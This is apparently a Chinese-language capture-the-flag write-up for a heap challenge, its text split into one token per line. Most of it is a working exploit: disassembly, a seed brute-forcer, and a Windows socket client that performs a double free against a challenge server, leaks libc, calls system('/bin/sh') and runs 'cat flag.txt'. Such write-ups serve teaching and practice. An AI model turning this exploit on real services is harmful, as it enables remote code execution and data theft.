不熟悉python也不熟悉linux,估计有人会疑问:你是来玩pwn的吗?
和度娘现学了几个gdb命令,所以解题过程也和别人有较大差别
分析点
1
用seed地址初始化随机种子:
.text:
0000000000001229
lea rax, seed
.text:
0000000000001230
mov cs:seed, rax
.text:
0000000000001237
mov rax, cs:seed
.text:
000000000000123E
mov edi, eax ; seed
.text:
0000000000001240
call _srand
分析点
2
猜中随机数,可得到seed的地址,猜错会显示当前的随机数
.text:
000000000000111D
call _rand
.text:
0000000000001122
mov [rbp
+
var_8], eax
.text:
0000000000001125
mov [rbp
+
var_4],
0
.text:
000000000000112C
lea rdi, aPleaseInputThe ;
"Please input the number you guess:"
.text:
0000000000001133
call _puts
.text:
0000000000001138
lea rdi,
format
;
"> "
.text:
000000000000113F
mov eax,
0
.text:
0000000000001144
call _printf
.text:
0000000000001149
mov eax,
0
.text:
000000000000114E
call zz_read_int
.text:
0000000000001153
mov [rbp
+
var_4], eax
.text:
0000000000001156
mov eax, [rbp
+
var_8]
.text:
0000000000001159
cmp
eax, [rbp
+
var_4]
.text:
000000000000115C
jnz short loc_117B
.text:
000000000000115E
mov rax, cs:seed
.text:
0000000000001165
mov rsi, rax
.text:
0000000000001168
lea rdi, aG00dj0bYouGetA ;
"G00dj0b!You get a secret: %ld!\n"
.text:
000000000000116F
mov eax,
0
.text:
0000000000001174
call _printf
.text:
0000000000001179
jmp short loc_1191
.text:
000000000000117B
;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
.text:
000000000000117B
loc_117B: ; CODE XREF: zz_guess_random
+
47
↑j
.text:
000000000000117B
mov eax, [rbp
+
var_8]
.text:
000000000000117E
mov esi, eax
.text:
0000000000001180
lea rdi, aWr0ngAnswerThe ;
"Wr0ng answer!The number is %d!\n"
.text:
0000000000001187
mov eax,
0
.text:
000000000000118C
call _printf
分析点
3
destroy是会查表判断,只有small和normal两种可以free,而且可以多次free
.text:
0000000000000E92
lea rax, destroy_enable_table
.text:
0000000000000E99
mov eax, [rdx
+
rax]
.text:
0000000000000E9C
test eax, eax
.text:
0000000000000E9E
jnz short loc_ECE
.text:
0000000000000EA0
mov eax, [rbp
+
var_4]
.text:
0000000000000EA3
cdqe
.text:
0000000000000EA5
lea rdx, ds:
0
[rax
*
8
]
.text:
0000000000000EAD
lea rax, box_buf
.text:
0000000000000EB4
mov rax, [rdx
+
rax]
.text:
0000000000000EB8
mov rdi, rax ; ptr
.text:
0000000000000EBB
call _free
.text:
0000000000000EC0
lea rdi, aYouHaveDestroy ;
"You have destroyed the box!"
.text:
0000000000000EC7
call _puts
.text:
0000000000000ECC
jmp short locret_EDA
.text:
0000000000000ECE
loc_ECE:
.text:
0000000000000ECE
lea rdi, aYouCanNotDestr ;
"You can not destroy the box!"
.text:
0000000000000ED5
call _puts
解题
于是解题就朝着double free的方向走了,写了两个程序,一个linux下穷举seed,一个windows下完成pwn流程
double free的原理我就不写了,现搜教程学的
代码
1
srand的参数seed是
32
位的,因为进程模块
0x1000
对齐,所以seed的低
12
位已知是
0x148
,穷举seed高
20
位进行srand初始化,先随便猜错一次,
得到第一次的rand,然后就可以穷举seed用来初始化srand,使得第一次的rand和刚才猜错的那个rand相等时,就穷举成功了seed,本来想把
linux下的rand和srand函数扣出来在windows下实现的,时间关系没有做,只好直接在linux下写个程序并运行:
int
main()
{
unsigned
int
i;
int
n;
char s[
80
];
printf(
"input first rand:"
);
gets(s);
sscanf(s,
"%d"
,&n);
for
(i
=
0
;i<
0x100000
;i
+
+
)
{
srand(i
*
0x1000
+
0x148
);
if
(rand()
=
=
n)
{
printf(
"\nnext rand = %d\n"
,rand());
break
;
}
}
}
代码
2
windows下写了个小程序:
BYTE data1[]
=
{
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x01
,
0x01
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x08
,
0x21
,
0x20
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x10
,
0x21
,
0x20
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
/
/
202108
,
202110
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x00
,
0x01
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x90
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x41
,
0x0A
,
};
BYTE data2[]
=
{
0x28
,
0x20
,
0x20
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
/
/
1buf
:little
0x48
,
0x20
,
0x20
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
/
/
2buf
:small,__libc_start_main
0x18
,
0x20
,
0x20
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x0A
/
/
3buf
:normal,
"/bin/sh"
};
BYTE data3[]
=
{
0x2F
,
0x62
,
0x69
,
0x6E
,
0x2F
,
0x73
,
0x68
,
0x00
,
0x0A
/
/
"/bin/sh"
};
BYTE data4[]
=
{
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x0A
/
/
system
};
void main()
{
char
*
buffer
;
int
sended;
struct sockaddr_in servaddr;
SOCKET s;
s
=
socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
servaddr.sin_family
=
PF_INET;
servaddr.sin_port
=
htons(
8888
);
servaddr.sin_addr.s_addr
=
inet_addr(
"123.206.22.95"
);
memset(&(servaddr.sin_zero),
0
,
8
);
int
r
=
connect(s, (SOCKADDR
*
)&servaddr, sizeof(SOCKADDR_IN));
if
(r
=
=
0
)
{
buffer
=
recv_and_print_until(s,
"> "
);
/
/
welcome
sended
=
send(s,
"5"
,
1
,
0
);
/
/
guess
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"3"
,
1
,
0
);
/
/
buffer
=
recv_and_print_until(s,
"> "
);
/
/
把输出的rand传给前面linux小程序穷举出seed
char guess[
0x80
];
printf(
"guess:\n"
);
gets(guess);
/
/
根据linux小程序穷举出的seed输入给这个windows程序
sended
=
send(s,
"5"
,
1
,
0
);
/
/
guess
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,guess,strlen(guess),
0
);
buffer
=
recv_and_print_until(s,
"> "
);
char
*
ss
=
strstr(
buffer
,
"secret: "
);
__int64 elfaddr
=
0
;
if
(ss)
{
sscanf(&ss[
8
],
"%I64d"
,&elfaddr);
elfaddr
-
=
0x202148
;
*
(__int64
*
)&data1[
0x10
]
+
=
elfaddr;
*
(__int64
*
)&data1[
0x18
]
+
=
elfaddr;
*
(__int64
*
)&data2[
0x00
]
+
=
elfaddr;
*
(__int64
*
)&data2[
0x08
]
+
=
elfaddr;
*
(__int64
*
)&data2[
0x10
]
+
=
elfaddr;
}
sended
=
send(s,
"1"
,
1
,
0
);
/
/
get_a_box
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"3"
,
1
,
0
);
/
/
type
normal
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"256"
,
3
,
0
);
/
/
size
=
0x100
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"1"
,
1
,
0
);
/
/
get_a_box
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"2"
,
1
,
0
);
/
/
type
small
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"128"
,
3
,
0
);
/
/
size
=
0x80
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"2"
,
1
,
0
);
/
/
destroy_a_box
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"3"
,
1
,
0
);
/
/
type
normal
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"2"
,
1
,
0
);
/
/
destroy_a_box
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"2"
,
1
,
0
);
/
/
type
small
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"1"
,
1
,
0
);
/
/
get_a_box
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"4"
,
1
,
0
);
/
/
type
big
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"400"
,
3
,
0
);
/
/
size
=
0x190
buffer
=
recv_and_print_until(s,
"> "
);
/
/
sended
=
send(s,
"3"
,
1
,
0
);
/
/
set
msg
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"4"
,
1
,
0
);
/
/
type
big
sended
=
send(s,(char
*
)data1,sizeof(data1),
0
);
buffer
=
recv_and_print_until(s,
"> "
);
printf(
"double free\n"
);
sended
=
send(s,
"2"
,
1
,
0
);
/
/
destroy_a_box
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"2"
,
1
,
0
);
/
/
type
small
buffer
=
recv_and_print_until(s,
"> "
);
printf(
"set data2 to msg big\n"
);
sended
=
send(s,
"3"
,
1
,
0
);
/
/
set
msg
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"4"
,
1
,
0
);
/
/
type
big
sended
=
send(s,(char
*
)data2,sizeof(data2),
0
);
buffer
=
recv_and_print_until(s,
"> "
);
printf(
"show msg2 after2\n"
);
sended
=
send(s,
"4"
,
1
,
0
);
/
/
show msg
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"2"
,
1
,
0
);
/
/
type
small,__libc_start_main
buffer
=
recv_and_print_until(s,
"> "
);
unsigned __int64 systemaddr
=
0
;
int
i;
for
(i
=
0
;i<
8
;i
+
+
)
{
if
(
buffer
[i]
=
=
0x0A
)
{
buffer
[i]
=
0
;
buffer
[i
+
1
]
=
0
;
buffer
[i
+
2
]
=
0
;
buffer
[i
+
3
]
=
0
;
break
;
}
}
systemaddr
=
*
(unsigned __int64
*
)&
buffer
[
0
];
systemaddr
-
=
0x20740
;
/
/
__libc_start_main
systemaddr
+
=
0x45390
;
/
/
system
*
(unsigned __int64
*
)&data4[
0
]
=
systemaddr;
printf(
"set data3 to msg small\n"
);
sended
=
send(s,
"3"
,
1
,
0
);
/
/
set
msg
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"2"
,
1
,
0
);
/
/
type
small
sended
=
send(s,(char
*
)data3,sizeof(data3),
0
);
buffer
=
recv_and_print_until(s,
"> "
);
printf(
"set data4 to msg normal\n"
);
sended
=
send(s,
"3"
,
1
,
0
);
/
/
set
msg
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"3"
,
1
,
0
);
/
/
type
normal
sended
=
send(s,(char
*
)data4,sizeof(data4),
0
);
buffer
=
recv_and_print_until(s,
"> "
);
printf(
"system\n"
);
sended
=
send(s,
"2"
,
1
,
0
);
/
/
destroy_a_box
buffer
=
recv_and_print_until(s,
"> "
);
sended
=
send(s,
"2"
,
1
,
0
);
/
/
type
normal
/
/
sended
=
send(s,
"ls\n"
,
3
,
0
);
/
/
buffer
=
recv_and_print_until(s,"");
/
/
不去写这个字符分析了,肉眼观察返回的文件名可看到flag.txt,下次直接cat flag.txt
sended
=
send(s,
"cat flag.txt\n"
,
13
,
0
);
buffer
=
recv_and_print_until(s,
"}"
);
}
}
最后得到结果:flag{
5bab95a4b3fc901672b307b99e065cf2
}